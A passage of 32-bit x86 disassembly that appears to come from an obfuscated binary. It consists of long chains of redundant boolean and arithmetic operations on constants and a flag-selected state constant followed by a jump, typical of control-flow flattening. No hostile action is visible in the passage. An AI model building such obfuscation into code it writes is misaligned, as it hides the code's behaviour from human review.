xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
mov ch, cl
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
mov dh, cl
and dh, bh
or ch, dh
xor ch, 0xff
mov bh, 1
xor bh, 1
mov dh, 1
xor dh, 1
or ch, bh
or dh, 1
xor ch, 0xff
and ch, dh
mov byte [ebp - 0xe7f], ch
xor ah, 0xff
mov bh, cl
xor bh, ah
and bh, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov ch, cl
and ch, 0
and bl, ah
mov byte [ebp - 0xe81], bl
mov bl, dh
and bl, 0
and al, ah
mov byte [ebp - 0xe80], al
mov al, byte [ebp - 0xe81]
or ch, al
mov al, byte [ebp - 0xe80]
or bl, al
mov al, byte [ebp - 0xe7f]
xor ch, bl
or cl, dh
xor cl, 0xff
or ah, 0
and cl, ah
or ch, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0xe7e], cl
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
and al, ah
mov bl, dh
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0xe7e]
or bl, bh
xor cl, bl
or al, dh
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov ah, ch
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and ch, dh
mov al, cl
xor al, 0xff
and al, 0
and cl, dh
or ah, ch
or al, cl
xor ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6a81be22
mov ecx, 0x6a4ca0d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
xor edx, edx
sub edx, 0xd8038291
add edx, 0x1394fca
add edx, 0xd8038291
sub edx, 0x5b41675f
sub edx, 1
add edx, 0x5b41675f
add edx, 0xc0160259
sub edx, 0x1394fca
sub edx, 0xc0160259
xor esi, esi
sub esi, 0x923661ad
sub esi, ecx
add esi, 0x923661ad
xor edi, edi
sub edi, 0xb7833cb7
sub edi, edx
add edi, 0xb7833cb7
xor edx, edx
sub edx, edi
sub esi, edx
xor edx, edx
sub edx, esi
add edx, 0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
mov byte [ebp - 0xedd], dh
cmp eax, 0xa
setl dl
mov byte [ebp - 0xed8], dl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov ch, dh
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or cl, ch
or al, ah
xor cl, al
mov bh, 1
xor bh, 1
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov cl, 1
xor cl, 1
and cl, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 1
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, ch
or al, ah
xor cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bh
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov bl, al
and bl, 0
and bh, cl
mov ch, ah
and ch, 0
and dh, cl
or bl, bh
or ch, dh
xor bl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or bl, al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
mov ah, dh
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov ah, 1
xor ah, 1
and ah, 1
mov dl, 1
xor dl, 1
and dl, 1
or ah, dl
mov ch, 1
xor ch, 1
mov dl, ah
xor dl, ch
and dl, ah
mov ah, 1
xor ah, 1
xor dh, 0xff
mov ch, 1
xor ch, 0
or ah, dh
or ch, 0
xor ah, 0xff
and ah, ch
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0xee7], bh
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
and bh, 0
mov byte [ebp - 0xee8], bh
and cl, ch
mov bh, dh
and bh, 0
and al, ch
mov byte [ebp - 0xee6], al
mov al, byte [ebp - 0xee8]
or al, cl
mov cl, byte [ebp - 0xee7]
mov byte [ebp - 0xee5], al
mov al, byte [ebp - 0xee6]
or bh, al
mov al, byte [ebp - 0xee5]
xor al, bh
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov ah, al
xor ah, 0xff
mov dl, cl
and dl, ah
xor cl, 0xff
and al, cl
or dl, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
xor ah, 0xff
xor ah, 0
and ah, 0
mov dh, 1
xor dh, 0
and dh, 0
mov cl, 1
xor cl, 0
mov ch, cl
and ch, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, ch
or al, cl
xor dh, al
mov ch, dh
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov al, 1
xor al, 1
and al, 1
mov byte [ebp - 0xee4], al
mov bh, 1
xor bh, 1
mov cl, bh
and cl, 1
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0xee3], al
mov al, byte [ebp - 0xee4]
and bh, 1
or al, cl
mov cl, byte [ebp - 0xee3]
or cl, bh
xor al, cl
mov cl, 1
xor cl, 0
mov bh, al
xor bh, cl
and bh, al
mov al, 1
xor al, 1
xor dh, 0xff
mov cl, 1
xor cl, 0
or al, dh
or cl, 0
xor al, 0xff
and al, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0xee0], ah
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
and ah, 0
and bh, ch
mov byte [ebp - 0xee2], bh
mov bh, dh
and bh, 0
and al, ch
mov byte [ebp - 0xee1], al
mov al, byte [ebp - 0xee2]
or ah, al
mov al, byte [ebp - 0xee1]
or bh, al
mov al, byte [ebp - 0xee0]
xor ah, bh
or al, dh
xor al, 0xff
or ch, 0
and al, ch
or ah, al
mov ch, cl
xor ch, 0xff
mov al, ah
and al, ch
xor ah, 0xff
and cl, ah
or al, cl
mov byte [ebp - 0xe95], al
mov ah, bl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or ah, al
mov ch, 1
xor ch, 1
and ch, 1
mov cl, 1
xor cl, 1
mov dh, cl
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov cl, 1
xor cl, 0
and cl, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 0
mov al, 1
xor al, 1
and al, 0
and dh, 1
or cl, bh
or al, dh
xor cl, al
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov byte [ebp - 0xedc], al
mov ah, 1
xor ah, 0
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 1
mov dh, ah
and dh, 0xff
mov al, ch
and al, 0
mov byte [ebp - 0xedf], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xede], al
mov al, byte [ebp - 0xedf]
and cl, ch
or dh, al
mov al, byte [ebp - 0xede]
or al, cl
mov cl, byte [ebp - 0xedd]
xor dh, al
mov al, byte [ebp - 0xedc]
or ah, bh
xor ah, 0xff
or ch, 1
and ah, ch
or dh, ah
mov ah, al
xor ah, 0xff
and ah, 0
mov bh, 1
xor bh, 0
and al, bh
mov ch, 1
xor ch, 1
and ch, 0
and bh, 1
or ah, al
mov al, byte [ebp - 0xe95]
or ch, bh
xor ah, ch
xor dh, 0xff
mov ch, ah
xor ch, dh
and ch, ah
mov dh, al
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and al, ah
or dh, al
mov ah, cl
xor ah, 0xff
mov al, dh
and al, ah
xor dh, 0xff
mov ah, cl
and ah, dh
or al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, dl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov bh, dl
and bh, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or al, bh
or cl, dh
xor al, cl
mov byte [ebp - 0xed9], al
mov cl, 1
xor cl, 1
and cl, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 1
mov al, 1
xor al, 1
and al, 0
and dh, 1
or cl, bh
or al, dh
xor cl, al
mov bh, 1
xor bh, 1
and bh, 0
mov al, 1
xor al, 0
mov dh, al
and dh, 1
mov byte [ebp - 0xedb], dh
mov dh, 1
xor dh, 1
and dh, 0
and al, 1
mov byte [ebp - 0xeda], al
mov al, byte [ebp - 0xedb]
or bh, al
mov al, byte [ebp - 0xeda]
or dh, al
mov al, byte [ebp - 0xed9]
xor bh, dh
mov dh, al
and dh, cl
xor al, cl
mov cl, byte [ebp - 0xed8]
or dh, al
mov al, bh
and al, 1
xor bh, 1
or al, bh
mov byte [ebp - 0xed5], al
mov bh, dh
xor bh, 0xff
and bh, 1
mov al, 1
xor al, 1
and dh, al
mov byte [ebp - 0xed7], dh
mov dh, 1
xor dh, 1
and dh, 0xff
and al, 1
mov byte [ebp - 0xed6], al
mov al, byte [ebp - 0xed7]
or bh, al
mov al, byte [ebp - 0xed6]
or dh, al
mov al, byte [ebp - 0xed5]
xor bh, dh
xor al, 0xff
mov dh, bh
xor dh, al
mov al, byte [ebp - 0xe95]
and dh, bh
mov byte [ebp - 0xeb9], dh
mov dh, al
xor dh, 0xff
and dh, 1
mov bh, 1
xor bh, 1
and al, bh
mov byte [ebp - 0xed4], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0xed3], al
mov al, byte [ebp - 0xed4]
and bh, 1
or dh, al
mov al, byte [ebp - 0xed3]
or al, bh
xor dh, al
mov al, cl
xor al, 0xff
mov bh, dh
and bh, al
xor dh, 0xff
mov al, cl
and al, dh
or bh, al
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov al, ch
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov cl, ch
and cl, dh
or al, cl
mov byte [ebp - 0xebf], al
mov dh, ah
xor dh, 0xff
and dh, 0
mov cl, 1
xor cl, 0
mov al, ah
and al, cl
mov byte [ebp - 0xed2], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0xed1], al
mov al, byte [ebp - 0xed2]
and cl, 1
or dh, al
mov al, byte [ebp - 0xed1]
or al, cl
xor dh, al
mov al, 1
xor al, 0
and al, 1
mov cl, 1
xor cl, 1
and cl, 0
or al, cl
mov cl, byte [ebp - 0xebf]
mov byte [ebp - 0xec1], al
xor cl, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0xed0], al
mov al, 1
xor al, 1
mov byte [ebp - 0xecf], al
mov al, byte [ebp - 0xed0]
or cl, al
mov al, byte [ebp - 0xecf]
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0xec1]
mov byte [ebp - 0xece], cl
xor al, 0xff
mov cl, ch
xor cl, al
mov al, byte [ebp - 0xece]
and cl, ch
mov byte [ebp - 0xecd], cl
mov cl, 1
xor cl, 0
mov ch, dh
xor ch, cl
mov cl, byte [ebp - 0xec1]
and ch, dh
mov byte [ebp - 0xec8], ch
xor ah, 0xff
xor cl, 0xff
mov ch, 1
xor ch, 1
or ah, cl
mov cl, byte [ebp - 0xecd]
or ch, 1
xor ah, 0xff
and ah, ch
mov byte [ebp - 0xec7], ah
mov ah, al
xor ah, 0xff
xor cl, 0xff
mov byte [ebp - 0xec9], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0xeca], cl
mov ch, ah
and ch, 0
and al, cl
mov cl, byte [ebp - 0xecd]
mov byte [ebp - 0xecc], al
mov al, byte [ebp - 0xec9]
and al, 0
mov byte [ebp - 0xecb], al
mov al, byte [ebp - 0xeca]
and cl, al
mov al, byte [ebp - 0xecc]
or ch, al
mov al, byte [ebp - 0xecb]
or al, cl
mov cl, byte [ebp - 0xeca]
xor ch, al
mov al, byte [ebp - 0xec9]
or ah, al
mov al, byte [ebp - 0xec8]
xor ah, 0xff
or cl, 0
and ah, cl
mov cl, byte [ebp - 0xec7]
or ch, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0xec3], ah
xor cl, 0xff
mov byte [ebp - 0xec4], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0xec2], cl
and ah, 0xff
and al, cl
mov cl, byte [ebp - 0xec7]
mov byte [ebp - 0xec6], al
mov al, byte [ebp - 0xec4]
and al, 0xff
mov byte [ebp - 0xec5], al
mov al, byte [ebp - 0xec2]
and cl, al
mov al, byte [ebp - 0xec6]
or ah, al
mov al, byte [ebp - 0xec5]
or al, cl
mov cl, byte [ebp - 0xec4]
xor ah, al
mov al, byte [ebp - 0xec3]
or al, cl
mov cl, byte [ebp - 0xec2]
xor al, 0xff
or cl, 1
and al, cl
mov cl, byte [ebp - 0xec1]
or ah, al
mov byte [ebp - 0xec0], ah
mov al, ch
xor al, 0xff
and ah, al
mov al, byte [ebp - 0xec0]
xor al, 0xff
and ch, al
mov al, byte [ebp - 0xebf]
or ah, ch
mov ch, al
and ch, dh
xor al, dh
or ch, al
mov al, ch
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and ch, dh
or al, ch
mov byte [ebp - 0xebc], al
mov ch, 1
xor ch, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0xebb], al
mov al, 1
xor al, 1
mov byte [ebp - 0xeba], al
mov dh, ch
and dh, 0xff
and al, 0
mov byte [ebp - 0xebe], al
mov al, byte [ebp - 0xebb]
and al, 0xff
mov byte [ebp - 0xebd], al
mov al, byte [ebp - 0xeba]
and cl, al
mov al, byte [ebp - 0xebe]
or dh, al
mov al, byte [ebp - 0xebd]
or al, cl
mov cl, byte [ebp - 0xebc]
xor dh, al
mov al, byte [ebp - 0xebb]
or ch, al
mov al, byte [ebp - 0xeba]
xor ch, 0xff
or al, 1
and ch, al
mov al, byte [ebp - 0xeb9]
or dh, ch
xor dh, 0xff
mov ch, cl
xor ch, dh
and ch, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov byte [ebp - 0xeab], cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
mov dh, al
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov byte [ebp - 0xea9], cl
mov dh, bh
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov cl, bh
and cl, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dh, cl
mov cl, byte [ebp - 0xea9]
or ah, ch
xor dh, ah
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
and ch, 1
or ah, ch
mov ch, 1
xor ch, 1
xor cl, ch
mov ch, byte [ebp - 0xea9]
and cl, ch
mov byte [ebp - 0xeb8], cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0xeb7], al
mov cl, dh
xor cl, 0xff
mov al, 1
xor al, 1
mov ch, 1
xor ch, 1
or cl, al
mov al, byte [ebp - 0xeb8]
or ch, 1
xor cl, 0xff
and cl, ch
mov byte [ebp - 0xeb2], cl
mov cl, ah
xor cl, 0xff
mov ch, bh
xor ch, cl
mov cl, byte [ebp - 0xeb7]
and ch, bh
mov byte [ebp - 0xeb1], ch
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0xeb3], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0xeb4], cl
mov ch, bh
and ch, 0xff
and al, cl
mov cl, byte [ebp - 0xeb7]
mov byte [ebp - 0xeb6], al
mov al, byte [ebp - 0xeb3]
and al, 0xff
mov byte [ebp - 0xeb5], al
mov al, byte [ebp - 0xeb4]
and cl, al
mov al, byte [ebp - 0xeb6]
or ch, al
mov al, byte [ebp - 0xeb5]
or al, cl
mov cl, byte [ebp - 0xeb4]
xor ch, al
mov al, byte [ebp - 0xeb3]
or bh, al
mov al, byte [ebp - 0xeb2]
xor bh, 0xff
or cl, 1
and bh, cl
mov cl, byte [ebp - 0xeb1]
or ch, bh
mov bh, al
xor bh, 0xff
mov byte [ebp - 0xead], bh
xor cl, 0xff
mov byte [ebp - 0xeae], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0xeac], cl
and bh, 0
and al, cl
mov cl, byte [ebp - 0xeb1]
mov byte [ebp - 0xeb0], al
mov al, byte [ebp - 0xeae]
and al, 0
mov byte [ebp - 0xeaf], al
mov al, byte [ebp - 0xeac]
and cl, al
mov al, byte [ebp - 0xeb0]
or bh, al
mov al, byte [ebp - 0xeaf]
or al, cl
mov cl, byte [ebp - 0xeae]
xor bh, al
mov al, byte [ebp - 0xead]
or al, cl
mov cl, byte [ebp - 0xeac]
xor al, 0xff
or cl, 0
and al, cl
mov cl, byte [ebp - 0xeab]
or bh, al
mov byte [ebp - 0xeaa], bh
mov al, ch
xor al, 0xff
and bh, al
mov al, byte [ebp - 0xeaa]
xor al, 0xff
and ch, al
mov al, byte [ebp - 0xea9]
or bh, ch
mov ch, al
and ch, dh
xor al, dh
or ch, al
mov al, ch
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and ch, dh
or al, ch
mov ch, ah
and ch, 1
xor ah, 1
or ch, ah
xor al, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or al, ch
or ah, 0
xor al, 0xff
and al, ah
mov ch, bh
xor ch, 0xff
mov byte [ebp - 0xea6], ch
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 1
and ch, 0xff
and bh, ah
mov byte [ebp - 0xea8], bh
mov bh, dh
and bh, 0xff
and al, ah
mov byte [ebp - 0xea7], al
mov al, byte [ebp - 0xea8]
or ch, al
mov al, byte [ebp - 0xea7]
or bh, al
mov al, byte [ebp - 0xea6]
xor ch, bh
or al, dh
xor al, 0xff
or ah, 1
and al, ah
or ch, al
mov al, cl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov ah, cl
and ah, dh
or al, ah
xor al, 0xff
xor al, 1
and al, 0xff
mov byte [ebp - 0xea3], al
mov dh, 1
xor dh, 1
and dh, 1
mov ah, 1
xor ah, 1
mov bh, ah
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dh, bh
or al, ah
xor dh, al
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov bh, ch
xor bh, 0xff
and bh, 0
mov ah, 1
xor ah, 0
mov al, ch
and al, ah
mov byte [ebp - 0xea5], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0xea4], al
mov al, byte [ebp - 0xea5]
and ah, 1
or bh, al
mov al, byte [ebp - 0xea4]
or al, ah
xor bh, al
xor bh, 0xff
mov al, 1
xor al, 1
mov ah, 1
xor ah, 1
or bh, al
mov al, byte [ebp - 0xea3]
or ah, 1
xor bh, 0xff
and bh, ah
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov byte [ebp - 0xe9f], ah
mov ch, al
xor ch, 0xff
mov byte [ebp - 0xea0], ch
mov dh, cl
xor dh, 0xff
mov ah, 1
xor ah, 0
and ch, 0
and al, ah
mov byte [ebp - 0xea2], al
mov al, dh
and al, 0
mov byte [ebp - 0xea1], al
mov al, byte [ebp - 0xea2]
and cl, ah
or ch, al
mov al, byte [ebp - 0xea1]
or al, cl
mov cl, byte [ebp - 0xea0]
xor ch, al
mov al, byte [ebp - 0xe9f]
or cl, dh
xor cl, 0xff
or ah, 0
and cl, ah
or ch, cl
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0xe9c], ah
mov dh, al
xor dh, 0xff
mov cl, 1
xor cl, 1
and ah, 0xff
and bh, cl
mov byte [ebp - 0xe9e], bh
mov bh, dh
and bh, 0xff
and al, cl
mov byte [ebp - 0xe9d], al
mov al, byte [ebp - 0xe9e]
or ah, al
mov al, byte [ebp - 0xe9d]
or bh, al
mov al, byte [ebp - 0xe9c]
xor ah, bh
or al, dh
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov al, ch
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, dh
or al, ch
or cl, ah
xor al, cl
mov byte [ebp - 0xe8a], al
mov ah, bl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or ah, al
mov ch, dl
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or ch, al
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
mov dh, cl
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, dh
or al, cl
xor bh, al
mov byte [ebp - 0xe98], bh
mov al, 1
xor al, 1
mov dh, ah
xor dh, al
and dh, ah
xor bl, 0xff
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov cl, 1
xor cl, 1
mov al, ch
xor al, cl
and al, ch
xor bh, 0xff
mov cl, dl
xor cl, bh
and cl, dl
mov dl, dh
and dl, bl
xor dh, bl
or dl, dh
mov dh, al
xor dh, 0xff
mov byte [ebp - 0xe99], dh
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
and dh, 0
and al, bl
mov byte [ebp - 0xe9b], al
mov al, bh
and al, 0
mov byte [ebp - 0xe9a], al
mov al, byte [ebp - 0xe9b]
and cl, bl
or dh, al
mov al, byte [ebp - 0xe9a]
or al, cl
mov cl, byte [ebp - 0xe99]
xor dh, al
mov al, byte [ebp - 0xe98]
or cl, bh
xor cl, 0xff
or bl, 0
and cl, bl
or dh, cl
mov bl, dl
xor bl, 0xff
mov cl, dh
and cl, bl
xor dh, 0xff
and dl, dh
or cl, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ah, dl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dl, ch
or ah, dl
mov dl, 1
xor dl, 1
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, dl
and ch, 0
mov bh, dh
and bh, 1
mov byte [ebp - 0xe97], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0xe96], al
mov al, byte [ebp - 0xe97]
or ch, al
mov al, byte [ebp - 0xe96]
or bh, al
mov al, byte [ebp - 0xe95]
xor ch, bh
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or ch, dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov dh, ah
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or cl, dh
or dl, ch
xor cl, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or ch, bl
or dl, dh
xor ch, dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov ch, cl
and ch, dl
xor cl, dl
or ch, cl
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
and al, cl
or ah, al
mov bl, 1
xor bl, 1
and bl, 0
mov cl, 1
xor cl, 0
mov dh, cl
and dh, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, dh
or al, cl
xor bl, al
mov byte [ebp - 0xe8b], bl
mov al, dl
xor al, 0xff
mov dh, 1
xor dh, 1
mov cl, 1
xor cl, 0
or al, dh
or cl, 0
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 1
xor bl, 0xff
mov dh, 1
xor dh, 0
or cl, bl
or dh, 0
xor cl, 0xff
and cl, dh
mov dh, ah
xor dh, 0xff
mov bh, 1
xor bh, 1
mov bl, 1
xor bl, 1
or dh, bh
mov bh, byte [ebp - 0xe8b]
or bl, 1
xor dh, 0xff
and dh, bl
mov bl, byte [ebp - 0xe95]
mov byte [ebp - 0xe91], dh
xor bh, 0xff
mov dh, bl
xor dh, bh
and dh, bl
mov byte [ebp - 0xe90], dh
mov bl, al
xor bl, 0xff
mov byte [ebp - 0xe92], bl
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 0
and bl, 0
and al, dh
mov byte [ebp - 0xe94], al
mov al, bh
and al, 0
mov byte [ebp - 0xe93], al
mov al, byte [ebp - 0xe94]
and cl, dh
or bl, al
mov al, byte [ebp - 0xe93]
or al, cl
mov cl, byte [ebp - 0xe92]
xor bl, al
mov al, byte [ebp - 0xe91]
or cl, bh
mov bh, byte [ebp - 0xe90]
xor cl, 0xff
or dh, 0
and cl, dh
or bl, cl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0xe8c], dh
xor bh, 0xff
mov cl, 1
xor cl, 1
mov byte [ebp - 0xe8d], cl
and dh, 0xff
and al, cl
mov cl, byte [ebp - 0xe90]
mov byte [ebp - 0xe8f], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xe8e], al
mov al, byte [ebp - 0xe8d]
and cl, al
mov al, byte [ebp - 0xe8f]
or dh, al
mov al, byte [ebp - 0xe8e]
or al, cl
mov cl, byte [ebp - 0xe8d]
xor dh, al
mov al, byte [ebp - 0xe8c]
or al, bh
xor al, 0xff
or cl, 1
and al, cl
or dh, al
mov bh, bl
xor bh, 0xff
and bh, 0
mov al, 1
xor al, 0
and bl, al
mov cl, dh
xor cl, 0xff
and cl, 0
and dh, al
mov al, byte [ebp - 0xe8b]
or bh, bl
or cl, dh
xor bh, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov bl, cl
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
and cl, dl
or bl, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bh, cl
mov dh, dl
and dh, 0
and bl, cl
or ah, bh
or dh, bl
xor ah, dh
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov al, ch
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ch
or cl, dl
xor al, cl
mov bh, ah
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bh, ah
or cl, dl
xor bh, cl
mov cl, 1
xor cl, 0
and cl, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 0
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
mov ah, al
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, ah
and dl, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or dl, al
mov al, byte [ebp - 0xe8a]
or bl, bh
xor dl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or dl, ah
mov ah, cl
and ah, 0
xor cl, 0
or ah, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dl, ch
or cl, dl
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
mov bl, al
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or bl, cl
mov byte [ebp - 0xe83], bl
mov ah, dl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov cl, dl
and cl, ch
or ah, cl
mov byte [ebp - 0xe84], ah
mov bh, 1
xor bh, 1
and bh, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or bh, dh
or cl, ch
xor bh, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
mov cl, 1
xor cl, 0
or bl, ch
or cl, 0
xor bl, 0xff
and bl, cl
xor al, 0xff
mov ch, bh
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, 1
xor ch, 1
mov cl, ah
xor cl, ch
and cl, ah
mov byte [ebp - 0xe87], cl
mov ah, bh
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov ah, bl
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov dl, ah
and dl, 0xff
and bl, ch
mov byte [ebp - 0xe89], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0xe88], al
mov al, byte [ebp - 0xe89]
or dl, al
mov al, byte [ebp - 0xe88]
or bl, al
mov al, byte [ebp - 0xe87]
xor dl, bl
or ah, dh
xor ah, 0xff
or ch, 1
